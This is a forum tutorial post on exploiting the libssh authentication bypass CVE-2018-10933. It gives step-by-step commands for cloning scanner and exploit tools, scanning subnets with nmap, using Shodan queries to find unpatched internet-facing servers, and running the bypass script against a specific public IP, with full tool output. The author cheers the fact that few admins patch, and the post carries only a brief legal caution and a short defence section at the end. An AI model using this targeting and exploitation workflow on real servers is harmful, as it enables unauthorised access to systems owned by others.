LibSSH Authentication Search and Bypass

hacking
networking

#1

LIBSSH BACKGROUND

Computers all over the world rely on the libssh library. The issue with this is the release of bug CVE-2018-10933. Unfortunately for hackers, this server bug was patched soon after the release. Fortunately, however, for hackers, barely anyone takes the time to update their SSH libraries, so score there.

How the Exploit Works

In a normal SSH session, the user will attempt to log in with a username and password, and according to whether or not the credentials are valid, the server will accept or reject the connection. In the example below, we attempt to log in to a server running libssh with the wrong password by typing ssh [email protected] into a terminal window.

ssh [email protected]

The authenticity of host '159.180.132.163 (159.180.132.163)' can't be established.
RSA key fingerprint is SHA256:Vkx9gDp1E/df1Yn0bDrgXIIYcTnyCVU6vmgqLKKqrhQ.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '159.180.132.163' (RSA) to the list of known hosts.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
[email protected]: Permission denied (publickey,keyboard-interactive,password).

Because we don’t know the password, the attempt to connect is rejected, and we are kept out of the server. On top of this, we are banned from connecting to that server for some time if we try to log in too many times and fail.

In versions of libssh with the bug in question, a user can trick the system into thinking they are already authenticated by sending an unexpected message indicating the connection already succeeded, bypassing the need to supply a password. It allows an attacker to gain complete control over the affected system with no knowledge of the password, and it represents a critical vulnerability in any system with affected versions of libssh.

So How Does This Bug Work?

Imagine if you could gain access to a stranger’s house by merely telling them you live there. In this trick, we skip the process of proving we belong with a password and instead send a “success” message.

This bug works when an attacker doesn’t try to log in the normal way at all, and instead sends the server a message that seems to confirm that the attacker has already authenticated. This “authentication succeeded” message confuses the server into granting access without a password, totally bypassing the normal security of the system.

Step 1: INSTALL TOOLS AND DEPENDENCIES

The first program we will use to scan for vulnerable devices is called Nmap, which can easily be installed. On Kali, it should than by default, but if it’s not, you can quickly download it with the following command.

apt install nmap

In order to detect if a device we discover is vulnerable, we will be using the Python program libssh-scanner. It’s is written in Python 2.7, so if you only have Python 3 installed, you will have to make sure to also install Python 2.7.

To install libssh-scanner, you need to clone the libssh-scanner repository by typing the following into a terminal window.

git clone https://github.com/leapsecurity/libssh-scanner.git

Then, after navigating inside the directory and listing its contents, you must install the required libraries by running the pip command seen below.

cd libssh-scanner
ls
pip install -r requirements.txt

Next, you must also install the program to thanperform the attack ,. This time, you’re cloning the “libSSH-Authentication-Bypass” repository and installing any dependencies using the following commands.

git clone https://github.com/purplesec/libSSH-Authentication-Bypass.git
cd libSSH-Authentication-Bypass
pip install -r requirements.txt

Step 2: USE NMAP TO SCAN FOR VULNERABILITIES

The first step to fixing or exploiting a vulnerable device is finding it, and it’s relatively easy to find devices on your local network that may require attention. To do so, we will use a program called Nmap to locate devices running an SSH server and determine if libssh is running on them. Nmap is an essential tool in any hacker’s toolkit, enabling one to quickly scan and discover all hosts and services on a given network or IP range.

In this case, we will scan the devices connected locally to our network, and Nmap will tell us whether or not each device on the network is using a vulnerable version of libssh. To follow this guide, you will need to install Nmap, but if you use Kali Linux, you likely already have Nmap installed.

To scan and discover all devices on the local network using libssh, open a terminal window and enter the following nmap command.

nmap -sV -p22 192.168.0.0/24

Breaking down the command, nmap tells the computer that we want to actually start using Nmap, while -sV tells Nmap that we want to perform a service scan, which grabs the banner of any service used by on an open port. The flag -p22 tells Nmap to only scan devices on port 22, which is the standard port for SSH communication. While this might not find devices that use SSH on a different port, it will dramatically reduce search times.

Finally, the target expressed as a subnet range; The first three bytes of this will be unique to your search. When scanning a range of computers rather than just one, the 0/24 at the end is essential for searching the entire subnet. If you need to find your subnet range, you can use a tool like “ipcalc” which will calculate it for you. To do so, find your IP address from typing ifconfig , then type ipcalc yourIP (replace “yourIP” with your IP address).

The command will return a list of devices connected to the subnet, as well as some information gathered from the scanned port. In this case we are looking for any targets that are using a version of libssh earlier than 0.7.6. You can expect to see an output like below.

Nmap scan report for 172.16.42.1
Host is up (0.0098s latency).

PORT   STATE  SERVICE VERSION
22/tcp closed ssh

Nmap scan report for 172.16.42.32
Host is up (0.21s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     libssh 0.7.2 (protocol 2.0)

Nmap scan report for 172.16.42.53
Host is up (0.079s latency).

PORT   STATE  SERVICE VERSION
22/tcp closed ssh

Nmap scan report for 172.16.42.67
Host is up (0.024s latency).

PORT   STATE    SERVICE VERSION
22/tcp filtered ssh

Step 3: DISCOVER LIBSSH VULNERABLE SERVERS

The vast majority of vulnerable servers will be accessible via a remote network, so we will need to search in a different way to find devices not connected directly to our LAN.

To find a remote target, you will need to take advantage of a service called Shodan, a search engine that can find any device connected to the web — unlike Google which only returns results from web servers on port 80. For example, instead of directing you to a website trying to sell you security cameras, Shodan can direct you to the login page of functioning IP cameras, potentially granting you access to the camera given the default password is unchanged.

Shodan will have indexed many vulnerable SSH servers, which we can look for both by port number and other keyword searches that reveal hosts running versions of libssh before 0.7.6 which we know to be affected by the vulnerability.

To start, sign up for a free account, which allows you to view the first two pages of any search query, or about 20 unique devices. Then, to find servers vulnerable to the libssh exploit, you’ll need three terms in the search:

  • port:22 , which is the default port for the SSH protocol. Even though SSH can be moved to any unused port, this isn’t too common because all it really does is prevent the server from being found with a simple scan for port 22.
  • LibSSH , which returns any server that advertises using the libssh library, indicating that they are potentially exploitable.
  • 0.7.* , which limits the results of the search to devices that are using versions of libssh that start with “0.7.” and excludes more up-to-date versions from the results. While you may still get some results that are patched, you’ll eliminate most of the more updated devices with this filter.

The search above will return a list of IP addresses that may be vulnerable to this attack, along with some more information that Shodan was able to retrieve. Shodan’s information can include a banner pull, the location of the device, the latest activity, and the organization in control of the server.

Step 4: TESTING LIBSSH VULNERABILITY ON SERVER

nce you have gathered a list of targets susceptible to the exploit, either local or remote, you can use “libssh-scanner” to scan target IP addresses and determine if they’re still likely vulnerable. Other tools can go even further to try establishing a shell, but it is very important to note that accessing another device using SSH without permission could violate the Computer Fraud and Abuse Act. Depending on who owns the device you access, this can land you in serious legal trouble.

In addition to legal considerations, you should be wary of connecting to devices from your real IP address that could be purposely vulnerable to this exploit. Honeypots are often set up this way to attract amateur hackers, and you could find yourself inside a device configured as a trap.

Now, use libssh-scanner to check if the targets gathered in steps 2 and 3 will actually be vulnerable to the exploit. To do this, create a TXT file containing all of the IP addresses found in steps 2 and 3, with each IP address separated by new lines. Name this text file “ips.txt” and place it inside the same folder as libssh-scanner was downloaded to earlier in step 1.

Once inside the directory, enter the following command into a terminal window.

python libsshscan.py --port 22 --aggressive ips.txt

The command will run Python 2.7, scan each IP address in the text file, and determine if the target is actually vulnerable to the CVE-2018-10933 security flaw. As you can see below, performing the scan narrowed down the list of potential targets from Shodan to just one — 159.180.132.163.

python libsshscan.py --aggressive --port 22 ips.txt

libssh scanner 1.0.4

Searching for Vulnerable Hosts...

* 52.151.63.100:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.2')
* 13.57.20.28:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 132.206.51.74:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 18.221.40.109:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 52.1.165.128:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 54.86.221.162:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 52.173.202.21:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
* 54.193.60.245:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')
! 159.180.132.163:22 is likely VULNERABLE to authentication bypass (b'SSH-2.0-libssh-0.7.2')
* 34.194.133.107:22 is not vulnerable to authentication bypass (b'SSH-2.0-libssh-0.7.0')

Scanner Completed Successfully

To check the one result, use libSSH-Authentication-Bypass to test the attack. Change directory into the folder you downloaded libSSH-Authentication-Bypass to previously in step 1, and enter the following command, substituting “159.180.132.163” with the IP address you wish to scan.

python3 libsshauthbypass.py --host 159.180.132.163

The command returns the following output on a server that has been partially patched but is still vulnerable to the authentication bypass.

python3 bypasswithfakekey.py --host 159.180.132.163
DEBUG:paramiko.transport:starting thread (client mode): 0x74a0d30
DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_2.0.8
DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-libssh-0.7.2
INFO:paramiko.transport:Connected (version 2.0, client libssh-0.7.2)
DEBUG:paramiko.transport:kex algos:['diffie-hellman-group14-sha1', 'diffie-hellman-group1-sha1'] server key:['ssh-rsa'] client encrypt:['aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] server encrypt:['aes256-ctr', 'aes192-ctr', 'aes128-ctr', 'aes256-cbc', 'aes192-cbc', 'aes128-cbc', 'blowfish-cbc', '3des-cbc'] client mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] server mac:['hmac-sha2-256', 'hmac-sha2-512', 'hmac-sha1'] client compress:['none', 'zlib', '[email protected]'] server compress:['none', 'zlib', '[email protected]'] client lang:[''] server lang:[''] kex follows?False
DEBUG:paramiko.transport:Kex agreed: diffie-hellman-group1-sha1
DEBUG:paramiko.transport:Cipher agreed: aes128-ctr
DEBUG:paramiko.transport:MAC agreed: hmac-sha2-256
DEBUG:paramiko.transport:Compression agreed: none
/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/rsakey.py:130: CryptographyDeprecationWarning: signer and verifier have been deprecated. Please use sign and verify instead.
  algorithm=hashes.SHA1(),
DEBUG:paramiko.transport:kex engine KexGroup1 specified hash_algo <built-in function openssl_sha1>
DEBUG:paramiko.transport:Switch to new keys ...
/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py:689: UserWarning: Unknown ssh-rsa host key for 159.180.132.163: b'7a7f8ca5b97cdd9356114ac650cc1353'
  key.get_fingerprint())))
DEBUG:paramiko.transport:userauth is OK
INFO:paramiko.transport:Authentication (password) failed.

Auth Bypassed of the server you trying to bypass but  can't spawn the shell it's patched, truncated or using wrong vulnerable libSSH version. -blacknbunny

If you see a message indicating the connection is successful, then you’ve confirmed the vulnerability on the device you’re testing. If the connection fails, or you see a partially successful result like above, then you’ve confirmed that the issue does not affect the target (even though it may need to be updated anyway if you get a partial success).

Consideration: HOW TO DEFEND AGAINST ATTACK

If you are managing a server that uses libssh to manage SSH communication, it is important to ensure that you are using libssh version 0.7.6 or newer, as this when the libssh developers patched the issue.

To reduce the likelihood of being found on Shodan, you should avoid forwarding ports to the open internet. In general, it’s better to use a VPN to access your local network, thus preventing your ports from being exposed to the internet at all.

If you’re worried about your devices showing up on Shodan, you can check to see if your IP address has ports being forwarded using Router Security, which lets you see information about your public IP address.

I hope you enjoyed this tutorial/info session. This is my first post so leave recommendations in the comments. Thanks!


(system) #2

This topic was automatically closed after 30 days. New replies are no longer allowed.